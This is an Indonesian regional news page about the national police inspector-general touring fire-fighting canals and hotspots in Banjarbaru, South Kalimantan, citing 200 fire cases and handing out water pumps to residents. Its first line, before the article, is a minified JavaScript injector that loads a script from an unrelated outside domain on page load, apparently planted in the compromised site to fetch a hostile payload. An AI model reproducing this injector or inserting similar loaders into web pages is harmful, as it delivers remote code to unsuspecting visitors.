(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pantau Penanganan Karhutla, Irwasum Polri Cek Sodetan Air di Guntung Damar


BANJARMASIN, Irwasum Polri Komjen Pol Drs Moechgiyarto SH MHum tinjau langsung penanganan Karhutla di Kalsel, Rabu (25/9) setibanya dari Bandara pukul 15.00 Wita. Kedatangan jenderal bintang tiga tersebut meninjau pelaksanaan penanganan kebakaran hutan dan lahan yang telah dilakukan Polda Kalsel beserta instansi lainnya.

Irwasum Polri beserta tim melakukan pengecekan sodetan air di saluran irigasi Riam Kanan di Guntung Damar, kota Banjarbaru. Juga pengecekan hotspot dan pemadaman api di lingkar selatan didampingi Kapolda, Wakapolda, PJU Polda Kalsel, Danrem 101/Antasari, KA BPBD, dan Manggala Agni.

Termasuk melakukan pengecekan aplikasi berantas kebakaran hutan dan lahan (Bekantan) Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel, dilanjutkan mendatangi Posko Karhutla serta pengecekan embung dan kanal di Guntung Damar, Banjarbaru.

Menurut Irwasum Polri, semua jenis bencana dapat dikatakan penyebabnya adalah ulah manusia. Seperti kerusakan lingkungan dan kebakaran yang telah mengancam di tengah kehidupan masyarakat.



“Karena itu diperlukan upaya penanggulangan Karhutla di wilayah khususnya Kalsel. Sehingga perlu dilakukan upaya sedini mungkin baik sebelum, saat kejadian hingga setelah kejadian,” ujarnya.

Ia menambahkan, pihaknya masih memproses penegakan hukum di sejumlah wilayah yang terjadi Karhutla. Pelibatan Polri dalam penanganan karhutla dinilai cukup berhasil. Keberhasilan ini menuai apresiasi dari banyak pihak.

“Penegakan hukum terus sampai dengan hari ini. Ada 200 kasus, 20 tersangka, dan 2 korporasi yang ditangani Polda Kalsel. Yang lainnya masih dalam proses,” kata Irwasum.

Pada kesempatan ini memberikan 3 set bantuan Alkon kepada masyarakat untuk pemadaman Karhutla. Ketiga masyarakat tersebut yakni Abdul Hamid, warga Desa Teluk Selong, Kecamatan Martapura Barat, M Hamli, warga Desa Teluk Selong Kecamatan Martapura Barat, dan Abdul Hakim, warga Desa Melayu Kecamatan Martapura Timur. (mario)

Reporter : Mario
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.